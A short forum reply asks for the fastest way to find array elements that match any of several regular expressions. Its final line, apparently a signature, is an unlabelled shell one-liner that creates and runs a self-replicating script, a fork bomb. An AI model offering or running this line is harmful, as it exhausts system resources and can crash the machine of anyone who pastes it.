in reply to Re: Best way to match items in an array
in thread Best way to match items in an array

This is more what I was looking for. I should have generalized the question to: Given any number of elements in an array, what is the fastest way to find those elements that match any given number of regular expressions?

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;